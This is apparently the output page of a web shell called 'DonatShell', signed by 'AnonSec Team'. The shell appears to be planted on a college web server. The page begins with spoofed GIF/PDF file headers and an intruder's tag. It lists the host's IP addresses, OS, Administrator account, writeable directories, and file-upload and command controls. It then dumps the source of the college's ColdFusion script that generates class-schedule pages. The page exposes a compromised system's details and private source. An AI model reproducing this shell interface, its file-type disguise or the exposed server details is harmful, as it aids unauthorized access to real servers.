GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/ClassLists/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/ClassLists/CreateClassListsFromDatabase.inc
<!--- CreateClassListsFromDatabase.inc --->
<!--- 
This file will create the Class Lists from the database.
 --->
<cfparam name="UseDatabase_Debug" default=true>
<cfinclude template="getEmails.inc">
<cfinclude template="getURLs.inc">

<cfset FilePath = GetDirectoryFromPath(GetCurrentTemplatePath())>
<link href="../Common/printing.css" rel="stylesheet" type="text/css">

<cfif UseDatabase_Debug>
  <cfoutput> SELECT * FROM ClassListUpdate<br>
  </cfoutput>
</cfif>
<cfquery datasource="BetaWeb" name="ClassListUpdate_List">
SELECT * FROM ClassListUpdate
</cfquery>
<cfif UseDatabase_Debug>
  <cfoutput>
    <p>
    <h3>Create Class Lists From Database</h3>
    ClassListUpdate_List.RecordCount=#ClassListUpdate_List.RecordCount#<br>
  </cfoutput>
</cfif>
<cfset FontSize = "0.6em">
<cfloop query="ClassListUpdate_List">
  <cfset currentYRTR = ClassListUpdate_List.YRTR>
  <cfset currentClassCampus = ClassListUpdate_List.ClassCampus>
  <cfset LastUpdated = ClassListUpdate_List.LastUpdated>
	<cfset NoteList = ''>
	<cfset NoteNumber = 0>
  <cfset VariableCreditsFound = false>
  <cfif currentClassCampus eq "H">
    <cfset CampusName = "Hutchinson">
    <cfset CampusMain = "MainHu">
    <cfelse>
    <cfset CampusName = "Willmar">
    <cfset CampusMain = "MainWi">
  </cfif>
  <cfset CalendarYear = left(currentYRTR,4)>
  <cfset Semester = right(currentYRTR,1)>
  <cfif Semester neq "5">
    <cfset CalendarYear = CalendarYear-1>
  </cfif>
  <cfif Semester eq "1">
    <cfset SemesterName = "Summer Session">
    <cfelseif Semester eq "3">
    <cfset SemesterName = "Fall Semester">
    <cfelse>
    <cfset SemesterName = "Spring Semester">
  </cfif>
  <cfset PageHeadTitle = "Ridgewater College, " & CampusName & " Campus - " & SemesterName & " " & CalendarYear & " Class Schedule">
  <cfset PageTitleLine1 = "Ridgewater College, " & CampusName & " Campus">
  <cfset PageTitleLine2 = SemesterName & " " & CalendarYear & " Class Schedule">
  <cfset DepartmentCode = ''>
  <cfif UseDatabase_Debug>
    <cfoutput>
      <p>
      <h3>Create HTML for #currentYRTR# - #CampusName# Campus</h3>
    </cfoutput>
  </cfif>
  <cfif UseDatabase_Debug>
    <cfoutput>
  SELECT Class.YRTR, Class.ClassID, Class.DepartmentCode, Class.ClassNumber, Class.ClassSec, Class.ClassTitle, Class.ClassCr, Class.ClassEnr, Class.ClassMax, Class.ClassCampus, Class.ClassNotes, Department.DepartmentName FROM Class INNER JOIN Department ON Class.DepartmentCode = Department.DepartmentCode WHERE Class.YRTR='#currentYRTR#' AND (Class.ClassCampus='#currentClassCampus#' OR Class.ClassSec='40' OR Class.ClassSec='41' OR Class.ClassSec='42' OR Class.ClassSec='43' OR Class.ClassSec='44' OR Class.ClassSec='45' OR Class.ClassSec='46' OR Class.ClassSec='47' OR Class.ClassSec='48' OR Class.ClassSec='49') ORDER BY Department.DepartmentName, Class.ClassNumber, Class.ClassSec
    <br></cfoutput>
  </cfif>
  <cfquery datasource="BetaWeb" name="Class_List">
  SELECT Class.YRTR, Class.ClassID, Class.DepartmentCode, Class.ClassNumber, Class.ClassSec, Class.ClassTitle, Class.ClassCr, Class.ClassEnr, Class.ClassMax, Class.ClassCampus, Class.ClassNotes, Department.DepartmentName FROM Class INNER JOIN Department ON Class.DepartmentCode = Department.DepartmentCode WHERE Class.YRTR='#currentYRTR#' AND (Class.ClassCampus='#currentClassCampus#' OR Class.ClassSec='40' OR Class.ClassSec='41' OR Class.ClassSec='42' OR Class.ClassSec='43' OR Class.ClassSec='44' OR Class.ClassSec='45' OR Class.ClassSec='46' OR Class.ClassSec='47' OR Class.ClassSec='48' OR Class.ClassSec='49') ORDER BY Department.DepartmentName, Class.ClassNumber, Class.ClassSec
  </cfquery>
  <cfif UseDatabase_Debug>
    <cfoutput> Class_List.RecordCount=#Class_List.RecordCount#<br>
    </cfoutput>
  </cfif>

  <cfset PageHTTP = '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
  <title>' & PageHeadTitle & '</title>
	<link href="ClassList.css" rel="stylesheet" type="text/css">
	<script language="javascript">
		function openCenteredWindow(url) {
			var width = 750;
			var height = 500;
			var top = Math.floor( (screen.height - height) / 4);
			var left = Math.floor( (screen.width - width) / 4);
			var winParms = "top=" + top + ",left=" + left + ",height=" + height + ",width=" + width + ",scrollbars=yes,resizable=yes";
			var win = window.open(url, "", winParms);
			if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }
			return win;
		}
		function showInfo(txt) {
			return
		}
	</script>
</head>

<body>

<div align="center">

<p>
<span class="pageTitle">' & PageTitleLine1 & '<br>' & PageTitleLine2 & '</span><br>
<br class="hideFromPrint"><span class="pageLastUpdated">Last Updated: ' & LastUpdated & ' </span>
<p>

<div class="hideFromPrint">
<div class="caption" align="center">
Class titles with an <a href="##footnotes" title="This would display the class footnote"><span class="fn">n##</span></a> after them have footnotes. Hover over the <a href="##footnotes" title="This would display the class footnote"><span class="fn">n##</span></a> or click on it to see the footnote.
</div>
</div>
<p>
<table cellpadding="0" cellspacing="0">
	'>
  <cfloop query="Class_List">
    <cfset currentClassID = Class_List.ClassID>
		<cfif DepartmentCode neq OldDepartmentCode>
      <cfif UseDatabase_Debug>
        <cfoutput><strong>#DepartmentName#</strong><br>
        </cfoutput>
      </cfif>
			<cfset OldDepartmentCode = DepartmentCode>
			<cfset PageHTTP = PageHTTP & '
				<tr>
				<td class="title" colspan="13">' & DepartmentName & '</td>
				</tr>
				<tr valign="bottom">
				<td class="caption" align="center">ClassId</td><!-- ClassID -->
				<td class="caption" align="center">Class ##</td><!-- Course Number -->
				<td class="caption" align="center">Sec</td><!-- Sec -->
				<td class="caption">Class Title</td><!-- Course Title -->
				<td class="caption" align="center">Cr</td><!-- Cr -->
				<td class="caption" align="center">Enr</td><!-- Enr -->
				<td class="caption" align="center">Max</td><!-- Max -->
				<td class="caption" align="center">Meeting Dates</td><!-- Start Date -->
				<td class="caption" align="center">Days</td><!-- Days -->
				<td class="caption" align="center">Time</td><!-- Start Time -->
				<td class="caption" align="right">Bldg</td><!-- Building -->
				<td class="caption" align="left">Rm</td><!-- Room -->
				<td class="caption" align="center">Instructor</td><!-- Instructor -->
				</tr>
			'>
    </cfif>
		<cfif ClassCr eq Int(ClassCr)>
			<cfset ClassCrDisplay = Int(ClassCr)>
			<cfelse>
      <cfset VariableCreditsFound = true>
      <cfset ClassCrDisplay = '<a href="##V" class="fn" title="This is a variable credit class. Talk to your Advisor before registering for this class."><span class="fn">' & Replace(ClassCr,".","-") & '</span></a>'>
		</cfif>
		<cfif ClassEnr eq "">
			<cfset ClassEnrDisplay = "&nbsp;">
			<cfelseif ClassEnr gte ClassMax>
			<cfset ClassEnrDisplay = "<span class=""full"">" & ClassEnr & "</span>">
			<cfelseif ClassEnr gt ClassMax*.8>
			<cfset ClassEnrDisplay = "<span class=""filling"">" & ClassEnr & "</span>">
			<cfelse>
			<cfset ClassEnrDisplay = ClassEnr>
		</cfif>
		<cfset ClassMaxDisplay = ClassMax>
		<cfif ClassMax eq "">
			<cfset ClassMaxDisplay = "&nbsp;">
			<cfelseif ClassEnr gte ClassMax>
			<cfset ClassMaxDisplay = "<span class=""full"">" & ClassMax & "</span>">
			<cfelseif ClassEnr gt ClassMax*.8>
			<cfset ClassMaxDisplay = "<span class=""filling"">" & ClassMax & "</span>">
			<cfelse>
			<cfset ClassMaxDisplay = ClassMax>
		</cfif>
		<cfquery name="ClassMeet_List" datasource="BetaWeb">
      SELECT * FROM ClassMeet WHERE ClassMeet.YRTR = '#currentYRTR#' AND ClassMeet.ClassID = '#currentClassID#' ORDER BY ClassLine
    </cfquery>
    <cfset ClassDatesDisplay = ''>
    <cfset ClassDayDisplay = ''>
    <cfset ClassTimeDisplay = ''>
    <cfset ClassBldgDisplay = ''>
    <cfset ClassRmDisplay = ''>
    <cfset ClassInstructorDisplay = ''>
		<cfset prepend = ''>
		<cfloop query="ClassMeet_List">
			<cfset ClassDatesDisplay = ClassDatesDisplay & prepend & ClassDates>
			<cfset thisClassDayDisplay = ''>
			<cfif ClassDayM>
				<cfset thisClassDayDisplay = thisClassDayDisplay & 'M'>
				<cfelse>
				<cfset thisClassDayDisplay = thisClassDayDisplay & ' '>
			</cfif>
			<cfif ClassDayT>
				<cfset thisClassDayDisplay = thisClassDayDisplay & 'T'>
				<cfelse>
				<cfset thisClassDayDisplay = thisClassDayDisplay & ' '>
			</cfif>
			<cfif ClassDayW>
				<cfset thisClassDayDisplay = thisClassDayDisplay & 'W'>
				<cfelse>
				<cfset thisClassDayDisplay = thisClassDayDisplay & ' '>
			</cfif>
			<cfif ClassDayH>
				<cfset thisClassDayDisplay = thisClassDayDisplay & 'H'>
				<cfelse>
				<cfset thisClassDayDisplay = thisClassDayDisplay & ' '>
			</cfif>
			<cfif ClassDayF>
				<cfset thisClassDayDisplay = thisClassDayDisplay & 'F'>
				<cfelse>
				<cfset thisClassDayDisplay = thisClassDayDisplay & ' '>
			</cfif>
			<cfif ClassDayS>
				<cfset thisClassDayDisplay = thisClassDayDisplay & 'S'>
				<cfelse>
				<cfset thisClassDayDisplay = thisClassDayDisplay & ' '>
			</cfif>
			<cfif ClassDayN>
				<cfset thisClassDayDisplay = thisClassDayDisplay & 'N'>
				<cfelse>
				<cfset thisClassDayDisplay = thisClassDayDisplay & ' '>
			</cfif>
			<cfif RTrim(thisClassDayDisplay) eq ''>
				<cfset thisClassDayDisplay = '&nbsp;'>
			</cfif>
			<cfset ClassDayDisplay = ClassDayDisplay & prepend & Replace(RTrim(thisClassDayDisplay)," ","&nbsp;","all")>
			<cfif ClassTime neq "ARR">
				<cfset thisClassTime = ClassTime>
				<cfelse>
				<cfset thisClassTime = "Arranged">
			</cfif>
			<cfset ClassTimeDisplay = ClassTimeDisplay & prepend & thisClassTime>
			<cfset thisClassBldg = ClassBldg>
			<cfif thisClassBldg eq CampusMain>
				<cfset thisClassBldg = "Main">
			</cfif> 
			<cfset ClassBldgDisplay = ClassBldgDisplay & prepend & thisClassBldg>
			<cfset ClassRmDisplay = ClassRmDisplay & prepend & ClassRm>
			<cfset ClassInstructorDisplay = ClassInstructorDisplay & prepend & ClassInstructor>
			<cfset prepend = '<br>'>
		</cfloop>
		<cfif ClassDatesDisplay eq ''>
			<cfset ClassDatesDisplay = '&nbsp;'>
		</cfif>
		<cfif ClassDayDisplay eq ''>
			<cfset ClassDayDisplay = '&nbsp;'>
		</cfif>
		<cfif ClassTimeDisplay eq ''>
			<cfset ClassTimeDisplay = '&nbsp;'>
		</cfif>
		<cfif ClassBldgDisplay eq ''>
			<cfset ClassBldgDisplay = '&nbsp;'>
		</cfif>
		<cfif ClassRmDisplay eq ''>
			<cfset ClassRmDisplay = '&nbsp;'>
		</cfif>
		<cfif ClassInstructorDisplay eq ''>
			<cfset ClassInstructorDisplay = '&nbsp;'>
		</cfif>
		<cfif Trim(Class_List.ClassNotes) eq ''>
			<cfset ClassNoteDisplay = ''>
			<cfelse>
	 		<cfset thisNote = Replace(Replace(Class_List.ClassNotes,"|",";"),"<br>"," &nbsp; ","all")><!--- Remove <br> and | character --->
			<cfset titleNote = Replace(thisNote,"&nbsp;"," ","all")>
			<!--- Check for email address and change to link if found--->
			<cfset noteEmail = getEmails(thisNote)>
			<cfif noteEmail neq ''>
				<cfloop index="thisEmail" list="#noteEmail#">
					<!--- <cfoutput>thisNote=#thisNote#<br>thisEmail=#thisEmail#<br></cfoutput> --->
					<cfset thisEmailLink = '<a href="mailto:' & thisEmail & '">' & thisEmail & '</a>'>
					<cfset thisNote = Replace(thisNote,thisEmail,thisEmailLink,"all")>
					<!--- <cfoutput>thisNote=#thisNote#<br><br></cfoutput> --->
				</cfloop>
			</cfif>
			<!--- Check for URLs and change to link if found--->
			<cfset noteURL = getURLs(thisNote)>
			<cfif noteURL neq ''>
				<cfloop index="thisURL" list="#noteURL#">
					<!--- <cfoutput>thisNote=#thisNote#<br>thisURL=#thisURL#<br></cfoutput> --->
					<cfset thisURLLink = '<a href="' & thisURL & '" target="_blank">' & thisURL & '</a>'>
					<cfset thisNote = Replace(thisNote,thisURL,thisURLLink,"all")>
					<!--- <cfoutput>thisNote=#thisNote#<br><br></cfoutput> --->
				</cfloop>
			</cfif>
			<cfif ListFind("#NoteList#",thisNote,"|")>
				<cfset thisNoteNumber = ListFind("#NoteList#",thisNote,"|")>
				<cfelse>
				<cfset NoteNumber = NoteNumber+1>
				<cfset thisNoteNumber = NoteNumber>
				<cfset NoteList = ListAppend("#NoteList#",thisNote,"|")>
			</cfif>
			<cfset ClassNoteDisplay = ' <a href="##n' & thisNoteNumber & '" class="fn" title="' & HTMLEditFormat(titleNote) & '"><span class="fn">n' & thisNoteNumber & '</span></a>'>
		</cfif>
		<cfset PageHTTP = PageHTTP & '
			<tr valign="top">
			<td align="center">' & currentClassID & '</td>
			<td align="center">
				<a href="/Courses/?CD=' & Class_List.DepartmentCode & '&CN=' & Class_List.ClassNumber & '" onClick="openCenteredWindow(' & "'" & '/Courses/?CD=' & Class_List.DepartmentCode & '&CN=' & Class_List.ClassNumber & "'" & '); return false;">' & Class_List.DepartmentCode & Class_List.ClassNumber & '</a>
			</td>
			<td class="center">' & Class_List.ClassSec & '</td>
			<td>' & ClassTitle & ClassNoteDisplay & '</td>
			<td class="center">' & ClassCrDisplay & '</td>
			<td class="center">' & ClassEnrDisplay & '</td>
			<td class="center">' & ClassMaxDisplay & '</td>
			<td class="center">' & ClassDatesDisplay & '</td>
			<td class="fixed">' & ClassDayDisplay & '</td>
			<td class="center">' & ClassTimeDisplay & '</td>
			<td class="right">' & ClassBldgDisplay & '</td>
			<td align="left">' & ClassRmDisplay & '</td>
			<td>' & ClassInstructorDisplay & '</td>
			</tr>
		'>
  </cfloop>
  <cfif VariableCreditsFound OR NoteNumber>
  	<cfset PageHTTP = PageHTTP & '
				<tr><td colspan="13">&nbsp;</td></tr>
				<tr><td class="title" colspan="13"><a name="##footnotes">Footnotes</a></td></tr>
		'>
			
			</table>
	<cfif VariableCreditsFound>
  	<cfset PageHTTP = PageHTTP & '
		  <tr>
				<td class="fn"><a name="V" class="fn">##-## =</a></td>
				<td class="note" colspan="12">Credits with a dash (##-##) represent a variable credit class. Talk to your Advisor before registering for this class.</td>
			</tr>
		'>
	</cfif>
	<cfif NoteNumber>
		<cfset thisNoteNumber = 0>
		<cfloop index="thisNote" list="#NoteList#" delimiters="|">
			<cfset thisNoteNumber = thisNoteNumber+1>
			<cfset PageHTTP = PageHTTP & '
		  <tr>
				<td class="fn"><a name="n' & thisNoteNumber & '" class="fn">n' & thisNoteNumber & ' =</a></td>
				<td class="note" colspan="12">' & thisNote & '</td>
			</tr>
			'>
		</cfloop>
	</cfif>
	<cfset PageHTTP = PageHTTP & '
</table>
	'>	
  </cfif>
  <cfset FileNameCSV = currentYRTR & "-" & CampusName & "-ClassList.csv.htm">
  <cfset copyrightYear = Year(Now())>
  <cfset PageHTTP = PageHTTP & '
		<p class="hideFromPrint">
<script type="text/javascript">
function CloseBackButton() {
	if (history.length) {
		history.back();
	} else {
		window.close();
	}
}
</script>
	 <table align="center" class="hideFromPrint">
	  <tr>
	   <td class="hideFromPrint"><form action="##" name="CloseBackForm"><input name="CloseBack" value="CloseBack" type="button" onClick="CloseBackButton();" class="hideFromPrint"></form></td>
	  </tr>
	 </table>
			'>
		<!--- <p class="hideFromPrint">This course list was created from the page: <a href="http://134.29.168.15/mnscucat/' & ClassListUpdate_List.GetURL & '">' & ClassListUpdate_List.GetURL & '</a>.
			'> --->
  <cfif CreateCSV>
    <cfset PageHTTP = PageHTTP & '
		  <p>See this course list in <a href="' & FileNameCSV & '">CSV import format</a>.
			'>
  </cfif>
  <cfset PageHTTP = PageHTTP & '
			<p><span style="color:##CCCCCC">Copyright &copy; 2000-' & copyrightYear & ' Jim Martinson</span>
  '>
  <cfif VariableCreditsFound OR NoteNumber>
  	<cfset PageHTTP = PageHTTP & '
		  <p class="hideFromPrint"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
		'>
  </cfif>
  <cfset PageHTTP = PageHTTP & '
		  </div>
<script type="text/javascript">
if (history.length) {
	document.CloseBackForm.CloseBack.value = ''Back'';
} else {
	document.CloseBackForm.CloseBack.value = ''Close'';
}
</script>
		</body>
		</html>
  '>
	<cfif NOT CreateClassList_Display_PageHTTP_InsteadOfWriteFile>
	  <cfset FileName = currentYRTR & "-" & CampusName & "-ClassList.html">
		<cffile action="write" file="#FilePath##FileName#" output="#PageHTTP#">
		<cfoutput>#FilePath#<a href="#FileName#" target="_blank">#FileName#</a> written.<br>
		</cfoutput>
		<cfelse>
		<cfoutput>#PageHTTP#</cfoutput>
	</cfif>
</cfloop>

Anon7 - 2022
AnonSec Team